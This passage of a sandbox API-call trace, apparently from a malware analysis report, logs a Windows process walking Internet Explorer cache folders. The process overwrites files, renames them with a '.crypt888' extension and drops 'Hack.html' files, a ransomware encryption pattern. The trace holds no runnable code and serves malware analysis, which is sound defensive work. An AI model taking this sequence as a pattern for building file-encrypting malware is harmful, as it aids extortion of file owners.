lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x47 [0077.032] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\", lpFilePart=0x0) returned 0x48 [0077.032] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0077.033] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.033] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.033] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.033] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.033] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.033] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.033] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.033] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.033] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0077.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.034] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x0) returned 0x53 [0077.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0077.034] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.036] GetFileType (hFile=0x174) returned 0x1 [0077.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0077.036] GetFileType (hFile=0x174) returned 0x1 [0077.036] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x2fb0 [0077.036] ReadFile (in: hFile=0x174, lpBuffer=0x2739990, nNumberOfBytesToRead=0x2fb0, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2739990*, lpNumberOfBytesRead=0x39ecbc*=0x2fb0, lpOverlapped=0x0) returned 1 [0077.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x0) returned 0x53 [0077.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0077.077] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.078] GetFileType (hFile=0x174) returned 0x1 [0077.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0077.078] GetFileType (hFile=0x174) returned 0x1 [0077.078] WriteFile (in: hFile=0x174, lpBuffer=0x2795770*, nNumberOfBytesToWrite=0x2fc0, lpNumberOfBytesWritten=0x39ecac, lpOverlapped=0x0 | out: lpBuffer=0x2795770*, lpNumberOfBytesWritten=0x39ecac*=0x2fc0, lpOverlapped=0x0) returned 1 [0077.079] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x0) returned 0x53 [0077.079] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.crypt888", lpFilePart=0x0) returned 0x5c [0077.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0077.079] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf2554a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x2fc0)) returned 1 [0077.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0077.079] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.crypt888")) returned 1 [0077.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0077.080] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore", lpFilePart=0x0) returned 0x50 [0077.080] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\", lpFilePart=0x0) returned 0x51 [0077.080] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a328 [0077.081] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.081] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.081] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.081] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.081] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.081] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.081] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0077.081] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0077.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0077.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0077.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0077.081] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore", lpFilePart=0x0) returned 0x50 [0077.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\", lpFilePart=0x0) returned 0x51 [0077.082] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a328 [0077.082] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.082] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.082] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.082] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.082] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.082] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.082] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0077.082] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0077.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0077.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0077.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3", lpFilePart=0x0) returned 0x59 [0077.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\", lpFilePart=0x0) returned 0x5a [0077.082] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a328 [0077.083] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.083] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.083] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0077.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.083] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3", lpFilePart=0x0) returned 0x59 [0077.083] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\", lpFilePart=0x0) returned 0x5a [0077.083] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a328 [0077.083] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.083] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.083] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0077.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.083] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\Hack.html", lpFilePart=0x0) returned 0x63 [0077.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0077.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\3lkbqzj3\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.084] GetFileType (hFile=0x174) returned 0x1 [0077.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0077.084] GetFileType (hFile=0x174) returned 0x1 [0077.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.085] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33", lpFilePart=0x0) returned 0x59 [0077.085] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\", lpFilePart=0x0) returned 0x5a [0077.085] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a328 [0077.086] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.086] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.086] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.086] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0077.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.086] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33", lpFilePart=0x0) returned 0x59 [0077.086] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\", lpFilePart=0x0) returned 0x5a [0077.086] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a328 [0077.086] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.087] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.087] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.087] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0077.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.087] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml", nBufferLength=0x105, lpBuffer=0x39e6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml", lpFilePart=0x0) returned 0x6a [0077.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eba0) returned 1 [0077.087] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.087] GetFileType (hFile=0x174) returned 0x1 [0077.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb9c) returned 1 [0077.088] GetFileType (hFile=0x174) returned 0x1 [0077.088] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39eca8 | out: lpFileSizeHigh=0x39eca8*=0x0) returned 0xd [0077.088] ReadFile (in: hFile=0x174, lpBuffer=0x27a1fd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec54, lpOverlapped=0x0 | out: lpBuffer=0x27a1fd0*, lpNumberOfBytesRead=0x39ec54*=0xd, lpOverlapped=0x0) returned 1 [0077.104] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml", nBufferLength=0x105, lpBuffer=0x39e694, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml", lpFilePart=0x0) returned 0x6a [0077.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb88) returned 1 [0077.104] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.105] GetFileType (hFile=0x174) returned 0x1 [0077.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb84) returned 1 [0077.105] GetFileType (hFile=0x174) returned 0x1 [0077.105] WriteFile (in: hFile=0x174, lpBuffer=0x27f004c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x39ec18, lpOverlapped=0x0 | out: lpBuffer=0x27f004c*, lpNumberOfBytesWritten=0x39ec18*=0x10, lpOverlapped=0x0) returned 1 [0077.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml", lpFilePart=0x0) returned 0x6a [0077.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml.crypt888", lpFilePart=0x0) returned 0x73 [0077.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec2c) returned 1 [0077.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), fInfoLevelId=0x0, lpFileInformation=0x39eca8 | out: lpFileInformation=0x39eca8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xbf27b600, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0077.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec28) returned 1 [0077.106] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml.crypt888")) returned 1 [0077.107] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\Hack.html", lpFilePart=0x0) returned 0x63 [0077.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0077.107] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.108] GetFileType (hFile=0x174) returned 0x1 [0077.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0077.108] GetFileType (hFile=0x174) returned 0x1 [0077.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.109] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0", lpFilePart=0x0) returned 0x59 [0077.109] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\", lpFilePart=0x0) returned 0x5a [0077.109] FindFirstFileW (in: 